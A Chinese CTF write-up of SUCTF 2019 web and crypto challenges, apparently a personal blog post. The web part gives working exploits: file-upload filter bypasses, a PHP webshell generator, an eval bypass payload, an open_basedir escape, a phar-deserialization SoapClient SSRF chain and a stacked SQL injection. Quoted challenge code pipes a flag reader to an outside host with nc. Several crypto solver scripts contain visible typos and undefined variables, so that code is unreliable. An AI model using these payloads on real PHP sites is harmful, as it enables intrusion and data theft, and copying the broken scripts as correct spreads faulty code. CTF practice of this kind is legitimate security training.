前段时间还在夏令营,今天终于有空补发一下当初打的很多的比赛了
WEB
checkin
这道题一开始跑偏了,弄了很久.htaccess
,最后幡然悔悟,nginx想用.htaccess
要改配置文件鸭,网站文件菜鸡控制不了,最后找了一下别的方法,一个菜鸡没见过的东西.user.ini
,最后就是绕过上传&执行了
1
http://www.vuln.cn/6001
需要注意的就是他会检测文件内容不能包含<?
,所以上马的时候上script
马,还有就是会检测文件头,加个GIF89a
就行了
EasyPHP
这道题直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
<?php function get_the_flag () { $userdir = "upload/tmp_" .md5($_SERVER['REMOTE_ADDR' ]); if (!file_exists($userdir)){ mkdir($userdir); } if (!empty ($_FILES["file" ])){ $tmp_name = $_FILES["file" ]["tmp_name" ]; $name = $_FILES["file" ]["name" ]; $extension = substr($name, strrpos($name,"." )+1 ); if (preg_match("/ph/i" ,$extension)) die ("^_^" ); if (mb_strpos(file_get_contents($tmp_name), '<?' )!==False ) die ("^_^" ); if (!exif_imagetype($tmp_name)) die ("^_^" ); $path= $userdir."/" .$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_' ]; if (!$hhh){ highlight_file(__FILE__ ); } if (strlen($hhh)>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh) ) die ('Try something else!' ); $character_type = count_chars($hhh, 3 ); if (strlen($character_type)>12 ) die ("Almost there!" );eval ($hhh);?>
可以看到这题有两个考点,一个是bypass执行eval,另一个是文件上传 第一步的过滤很严,能用的字符不多,函数更是不能用了Orz 后面的文件上传也很严格,文件后缀不能有ph,文件内容不能有<?
,文件类型要符合exif_imagetype 先看第一步,剩下的可见字符能入手的估计也就是~
和^
,异或想去利用,一个字符至少得用六个字符去表示,加起来肯定是不够的,函数就更加执行不了了 然后参考微笑师傅的博客,思路清奇 所以接下来考虑变量,因为还有$
,然后最短的变量就是$_GET
,估计能18位搞定Orz 一波操作以后能构造出
1 2
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%d9}();&%d9=phpinfo
无参的函数不多,因此第二步的利用就是要用他给的get_the_flag函数了 第二步的考点估计后缀过滤得那么死,环境还是php7.2,估计得.htaccess
,但是怎么满足exif_imagetype呢,这里就需要找一个文件,能同时满足图片和.htaccess
文件的格式,而.htaccess
文件的不解析符有#
和\x00
,因此我们去找一下有没有什么图片头是有这些符号的 然后这里有个xbm图片,格式如下
1 2 3 4 5
#define test_width 16 #define test_height 7 static char test_bits[] = { 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60 };
所以我们上传.htaccess
文件如下
1 2 3 4 5 6
# define width 1337 # define height 1337 AddType application/x-httpd-php .aaa # Say all file with extension .php16 will execute php php_value zend.multibyte 1 # Active specific encoding (you will see why after :D) php_value zend.detect_unicode 1 # Detect if the file have unicode content php_value display_errors 1 # Display php errors
这部分跟直接拿了l33t的脚本去改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
SIZE_HEADER = b'\n\n#define width 1337\n#define height 1337\n\n' def generate_php_file (filename, script) : phpfile = open(filename, 'wb' ) phpfile.write(script.encode('utf-16be' )) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htaccess () : htaccess = open('..htaccess' , 'wb' ) htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .aaa\n' ) htaccess.write(b'php_value zend.multibyte 1\n' ) htaccess.write(b'php_value zend.detect_unicode 1\n' ) htaccess.write(b'php_value display_errors 1\n' ) htaccess.close() generate_htaccess() generate_php_file("eval.aaa" , "<?php eval($_GET['cmd']); ?>" )
上传过去又遇到open_basedir bypass,经典的bypass
1 2 3 4 5 6 7 8 9
<?php mkdir('/tmp/aaa/' ); chdir('/tmp/aaa/' ); ini_set('open_basedir' . '..' ); chdir('..' ); chdir('..' ); chdir('..' ); ini_set('open_basedir' ,'/' ); var_dump(file_get_contents('/flag' ));
easy_sql
这道题菜鸡的解法是非预期…….. 因为运维人员在线vim的时候源码被我们扫到了,所以………
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
if (isset ($post['query' ])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"" ; if (preg_match("/{$BlackList}/is" ,$post['query' ])){ die ("Nonono." ); } if (strlen($post['query' ])>40 ){ die ("Too long." ); } $sql = "select " .$post['query' ]."||flag from Flag" ; mysqli_multi_query($MysqlLink,$sql); do { if ($res = mysqli_store_result($MysqlLink)){ while ($row = mysqli_fetch_row($res)){ print_r($row); } } }while (@mysqli_next_result($MysqlLink)); }
然后看着源码做题很舒服Orz……(逃 官方正解是
1
1; set sql_mode=pipes_as_concat; select 1
学到了(逃
Pythonginx
这题也是给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
@app.route('/getUrl', methods=['GET', 'POST']) def getUrl () : url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333"
看了源码明显的服务器伪造&文件读取,但是条件要符合有点困难,看到newhost.append(h.encode('idna').decode('utf-8'))
这句去github搜了一下,有点惊喜
1
https://github.com/python-hyper/hyperlink/issues/19
然后就是利用了,因为题目提示nginx,所以直接读配置文件找flag 赛后才知道是今年blackhat提到的,还是tcl 顺便贴一个nginx配置目录 ,溜了
Upload Labs 2
主办方依旧给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
include 'class.php' ;$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR" ]); if (!file_exists($userdir)) { mkdir($userdir, 0777 , true ); } if (isset ($_POST["upload" ])) { $allowedExts = array ("gif" , "jpeg" , "jpg" , "png" ); $tmp_name = $_FILES["file" ]["tmp_name" ]; $file_name = $_FILES["file" ]["name" ]; $temp = explode("." , $file_name); $extension = end($temp); if ((($_FILES["file" ]["type" ] == "image/gif" ) || ($_FILES["file" ]["type" ] == "image/jpeg" ) || ($_FILES["file" ]["type" ] == "image/png" )) && ($_FILES["file" ]["size" ] < 204800 ) && in_array($extension, $allowedExts) ) { $c = new Check($tmp_name); $c->check(); if ($_FILES["file" ]["error" ] > 0 ) { echo "错误:: " . $_FILES["file" ]["error" ] . "<br>" ; die (); } else { move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension); echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension; } } else { echo "非法的文件格式" ; } } include 'class.php' ;if (isset ($_POST["submit" ]) && isset ($_POST["url" ])) { if (preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i' ,$_POST['url' ])){ die ("Go away!" ); }else { $file_path = $_POST['url' ]; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>" ; } } include 'config.php' ;class File { public $file_name; public $type; public $func = "Check" ; function __construct ($file_name) { $this ->file_name = $file_name; } function __wakeup () { $class = new ReflectionClass($this ->func); $a = $class->newInstanceArgs($this ->file_name); $a->check(); } function getMIME () { $finfo = finfo_open(FILEINFO_MIME_TYPE); $this ->type = finfo_file($finfo, $this ->file_name); finfo_close($finfo); } function __toString () { return $this ->type; } } class Check { public $file_name; function __construct ($file_name) { $this ->file_name = $file_name; } function check () { $data = file_get_contents($this ->file_name); if (mb_strpos($data, "<?" ) !== FALSE ) { die ("<? in contents!" ); } } } include 'config.php' ;class Ad { public $ip; public $port; public $clazz; public $func1; public $func2; public $func3; public $instance; public $arg1; public $arg2; public $arg3; function __construct ($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3) { $this ->ip = $ip; $this ->port = $port; $this ->clazz = $clazz; $this ->func1 = $func1; $this ->func2 = $func2; $this ->func3 = $func3; $this ->arg1 = $arg1; $this ->arg2 = $arg2; $this ->arg3 = $arg3; } function check () { $reflect = new ReflectionClass($this ->clazz); $this ->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func1); $reflectionMethod->invoke($this ->instance, $this ->arg1); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func2); $reflectionMethod->invoke($this ->instance, $this ->arg2[0 ], $this ->arg2[1 ], $this ->arg2[2 ], $this ->arg2[3 ], $this ->arg2[4 ]); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func3); $reflectionMethod->invoke($this ->instance, $this ->arg3); } function __wakeup () { system("/readflag | nc $this->ip $this->port" ); } } if ($_SERVER['REMOTE_ADDR' ] == '127.0.0.1' ){ if (isset ($_POST['admin' ])){ $ip = $_POST['ip' ]; $port = $_POST['port' ]; $clazz = $_POST['clazz' ]; $func1 = $_POST['func1' ]; $func2 = $_POST['func2' ]; $func3 = $_POST['func3' ]; $arg1 = $_POST['arg1' ]; $arg2 = $_POST['arg2' ]; $arg2 = $_POST['arg3' ]; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } else { echo "You r not admin!" ; }
index.php
里面上传文件会限制后缀、大小和文件内容,上传了以后func.php
可以对文件进行查找,但是过滤得很严,跟过去getMine会看到有个finfo_file函数,利用它去触发反序列化,File类的__wakeup
方法也很神奇,通过反射调用check函数,既然是反序列化怎么可能是用回原来的类的,看一下还剩的最后一个类,Ad类明显要ssrf,立刻就想到soap类,而soap类的__call
方法则用File类的check去触发,最后Ad类的check触发用splstack::push
,这步参考了delta的wp 最后的问题,phar怎么触发呢,这里就是考的就是phar stream wrapper,File类的finfo_open与phar
和php://filter有奇效,payload为php://filter/resource=phar://upload/af32ccd1c4bd937e0bd05fcf70528505/bb72f33959b3680b6d3656d5472a8f13.png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
<?php class File { public $file_name; public $type; public $func = 'SoapClient' ; function __wakeup () { $class = new ReflectionClass($this ->func); $a = $class->newInstanceArgs($this ->file_name); $a -> check(); } function __construct () { $target = 'http://127.0.0.1/admin.php' ; $post_string = 'admin=&ip=x&port=x&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123&arg2=123&arg3=' ; $this ->file_name = [null , array ("location" => $target, "user_agent" => "exp\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: profile=1\r\nContent-Length: " .(string)strlen($post_string)."\r\n\r\n" .$post_string,"uri" => "http://127.0.0.1/" )]; } } file_put_contents("test.txt" , "test" ); $e = new File(); unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar->startBuffering(); $phar->setStub('<script language="php">__HALT_COMPILER();</script>' ); $phar->setMetadata($e); $phar->addFromString("test.txt" , "test" ); $phar->stopBuffering(); rename("phar.phar" , "phar.png" ); unlink("test.txt" );
这题出题人的思路也很巧妙,后面触发部分考察的是mysql client attack,而mysql在执行real_connect的时候会覆盖前面的mysqli->options
1 2 3 4 5 6 7 8 9 10 11 12 13
$m = new mysqli(); $m->init(); $m->real_connect('ip' ,'select 1' ,'select 1' ,'select 1' ,3306 ); $m->query('select 1;' ); $reflect = new ReflectionClass('Mysqli' ); $sql = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod('Mysqli' , 'init' ); $reflectionMethod->invoke($sql, $arr); $reflectionMethod = new ReflectionMethod('Mysqli' , 'real_connect' ); $reflectionMethod->invoke($sql, 'ip' ,'root' ,'123456' ,'test' ,'3306' ); $reflectionMethod = new ReflectionMethod('Mysqli' , 'query' ); $reflectionMethod->invoke($sql, 'select 1' );
mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting
iCloudMusic
这道题菜鸡只能跟着大佬的博客复现,还是太菜了(捂脸 首先下下来一个压缩包,进入resources目录去解压app.asar文件(很奇怪,只能解压win32的压缩包,其他全损坏 解压出来就是审计源码了,list.html里面music_info部分存在js注入 然后就是利用process进行函数劫持触发函数https://github.com/imagemlt/iCloudMusic
CRYPTO
Prime
给4个n和s,n之间还不互质,所以能求出4个因子,然后就是普通的rsa了,贴个脚本(溜
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
import gmpy2import libnumimport hashlibimport binasciifrom Crypto.Util.number import long_to_bytesfrom pwn import *context.log_level = 'debug' p = remote("47.111.59.243" ,"8003" ) p.recvuntil("str + " ) s = p.recv(4 ) p.recvuntil("== " ) md5s = p.recv(5 ) def md5 (str) : sha = hashlib.md5(str) e = sha.hexdigest() return e for i in range(10000000 ): if md5(str(i)+s)[0 :5 ] == md5s: p.sendline(str(i)) break p.interactive() p.recvuntil("cs[0] = " ) cs0 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("ns[0] = " ) ns0 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("cs[1] = " ) cs1 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("ns[1] = " ) ns1 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("cs[2] = " ) cs2 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("ns[2] = " ) ns2 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("cs[3] = " ) cs3 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("ns[3] = " ) ns3 = int(p.recvuntil('\n' ).strip('\n' ),16 ) p.recvuntil("ms[0] = " ) cs = [] ns = [] p01 = gmpy2.gcd(ns0, ns1) p02 - gmpy2.gcd(ns0, ns2) p03 = gmpy2.gcd(ns0, ns3) p04 = ns0 / p01 / p02 / p03 d0 = int(gmpy2.invert(ns0, (p01 - 1 )*(p02 - 1 )*(p03 - 1 )*(p04 - 1 ))) m1 = pow(cs0, d0, ns0) p11 = gmpy2.gcd(ns1, ns0) p12 = gmpy2.gcd(ns1, ns2) p13 = gmpy2.gcd(ns1, ns3) p14 = ns1 / p11 / p12 / p13 d1 = int(gmpy2.invert(ns1, (p11 -1 )*(p12 - 1 )*(p13 - 1 )*(p14 - 1 ))) m2 = pow(cs1, d1, ns1) p21 = gmpy2.gcd(ns2, ns0) p22 = gmpy2.gcd(ns2, ns1) p23 = gmpy2,gcd(ns2, ns3) p24 = ns2 / p20 / p21 / p22 d2 = int(gmpy2.invert(ns2, (p21 - 1 )*(p22 - 1 )*(p23 - 1 )*(p24 - 1 ))) m3 = pow(cs2, d2, ns2) p31 = gmpy2.gcd(ns3, ns0) p32 = gmpy2.gcd(ns3, ns1) p33 = gmpy2,gcd(ns3, ns2) p34 = ns3 / p30 / p31 / p32 d3 = int(gmpy2.invert(ns3, (p31 - 1 )*(p32 - 1 )*(p33 - 1 )*(p34 - 1 ))) m4 = pow(cs3, d3, nx3) p.sendline(str(hex(m1))) p.recvuntil("ms[1] = " ) p.sendline(str(hex(m2))) p.recvuntil("ms[2] = " ) p.sendline(str(hex(m3))) p.recvuntil("ms[3] = " ) p.sendline(str(hex(m4))) p.interactive()
RSA
典型的lsb oracle attack,继续贴脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
import requestsimport hashlibfrom pwn import *import libnumimport Cryptoimport refrom binascii import hexlify,unhexlifydef md5 (str) : sha = hashlib.md5(str) e = sha.hexdigest() return e context.log_level = 'debug' p = remote("47.111.59.243" ,9421 ) a = p.recvuntil(")" )[-5 :-1 ] print ab = p.recvuntil("\n" )[-6 :-1 ] print bmd5s = b for i in range(10000000 ): if md5(str(i)+a)[0 :5 ] == md5s: key = i break p.recvuntil("> " ) p.sendline(str(key)) def get_m (n,c,e) : l = 0 r = n res = c e = e for i in range(20 ): print (l==r) if l == r: break p.recvuntil("Please input your option:" ) p.sendline("D" ) res = oracle(res, n, e) p.sendline(str(res)) p.recvuntil("The plain of your decrypted message is " ) judge = p.recvuntil("!" )[:-1 ] if judge == "odd" : l = (l + r) / 2 else : r = (l + r) / 2 print (l==r) return l def send_msg (c) : p.recvuntil("Please input your option:" ) p.sendline("D" ) p.sendline(str(c)) p.recvuntil("The plain of your decrypted message is " ) judge = p.recvuntil("!" )[:-1 ] if judge == "odd" : return 1 else : return 0 def lsb_attack (n, e, c) : i = 0 l, r, k = 0 , 1 , 1 while n * l // k + 1 < n * r //k: m = l + r l *= 2 r *= 2 k *= 2 if send_msg(c * pow(k, e, n) % n) == 1 : l = m else : r = m m = n * l // k if pow(m, e, n) == c: return m m = n * r // k if pow(m, e, n) == c: return m return None def test () : p.recvuntil("n = " ) n = int(p.recvline()) p.recvuntil("e = " ) e = int(p.recvline()) p.recvuntil("c = " ) c = int(p.recvline()) key = lsb_attack(n, e, c) p.recvuntil("Please input your option:" ) p.sendline("G" ) p.sendline(str(key)) for i in range(3 ): key = 0 test() p.interactive()
DSA
因为有两个相同的r,所以我们可以爆破出符合条件的k,然后加密回去攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
from Crypto.Hash import SHAfrom Crypto.Util.number import long_to_bytesfrom pwn import *from libnum import *context.log_level = 'debug' def inv (a, b) :assert gcd(a % b, b) == 1 return xgcd(a % b, b)[0 ] % qdef decrypt (r, c1, c2, m1, m2, p, q, g, y) :ds = c2 - c1 dm = (m2 - m1) % q k = dm * inv(ds, q) % q print "[+]k------->" + str(k)tmp = k * c1 - m1 x = tmp * inv(r, q) % q assert pow(g, x, p) == yreturn xdef sig (m, x, g, p, q) :k = 151512 r = pow(g, k, p) % q c = (m + x * r) * inv(k, q) % q return (r, c)po = remote("47.111.59.243" , "8001" ) po.recvuntil("me?" ) po.send("\n" ) po.recvuntil("p:" ) p = int(po.recvuntil("\n" ).strip("\n" )) po.recvuntil("q:" ) q = int(po.recvuntil("\n" ).strip("\n" )) po.recvuntil("g:" ) g = int(po.recvuntil("\n" ).strip("\n" )) po.recvuntil("y:" ) y = int(po.recvuntil("\n" ).strip("\n" )) md5 = [] rr = [] cc = [] def getdata () :po.recvuntil("digest:" ) m = po.recvuntil("(" )[1 :-1 ] md5.append(m) n = po.recvuntil("," )[:-2 ] rr.append(n) k = po.recvuntil(")" )[1 :-2 ] cc.append(k) print "md5--->" + mprint "rr--->" + nprint "cc--->" + kpo.recvuntil("before:" ) po.send("\n" ) for i in range(12 ):getdata() po.recvuntil("digest is:" ) l = po.recv(40 ) print "md5--->" + lprint md5print rrprint ccj = 1 for i in range(len(rr)):for j in range(j,len(rr)):if rr[i]==rr[j]:md51 = md5[i] md52 = md5[j] rr1 = rr[i] rr2 = rr[j] cc1 = cc[i] cc2 = cc[j] j = j + 1 print "md51--->" + md51print "md52--->" + md52print "rr1--->" + rr1print "rr2--->" + rr2print "cc1--->" + cc1print "cc2--->" + cc2print "md5555---->" + lx = decrypt(int(rr1), int(cc1), int(cc2), int(md51), int(md52), p, q, g, y) res = sig(int(l), x, g, p, q) print respo.interactive()
MT
这道题是队友做出来的,tql convert函数中移位跟与运算看似不可逆,但是每一步都亦或了自己,所以是可逆的,逆回去的基本思路就是根据移位补位上去的0为已知将一个数按二进制位分块,按块求解。比如第一步 m = m ^ m >> 13 我们已知的只有亦或后的结果 往下的几步运算也一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
num = 0xaa21f3a2 a = num >> 13 b = num >> 19 c = num & 0x1fff d = b ^c res = (a << 13 ) + d print "third" print hex(res)a = res & 0x1ffff p = 0x85d40000 b = (p & 0xfffe0000 )>>17 c = (res & 0xfffe0000 )>>17 d = (a & b) ^ c ans = (d << 17 ) + a print "second" print hex(ans)p = 0x78f39600 a = ans & 0x1ff b = (p >> 9 ) & 0x1ff c = (ans >> 9 ) & 0x1ff d = (a & b) ^ c e = (p >> 18 ) & 0x1ff f = (ans >> 18 ) & 0x1ff h = (d & e) ^ f i = h & 0x1f j = p >> 27 k = ans >> 27 l = (i & j) ^ k res = (l << 27 ) + (h << 18 ) + (d << 9 ) + a print "first" print hex(res)a = res >> 19 b = (res >> 6 ) & 0x1fff c = a ^ b d = c >> 7 e = res & 0x3f f = d ^ e ans = (a << 19 ) + (c << 6 ) + f print "flag" print hex(ans)
参考
https://blog.zeddyu.info/2019/08/24/SUCTF-2019/ https://xz.aliyun.com/t/6042 https://www.cnblogs.com/wfzWebSecuity/p/11207145.html
评论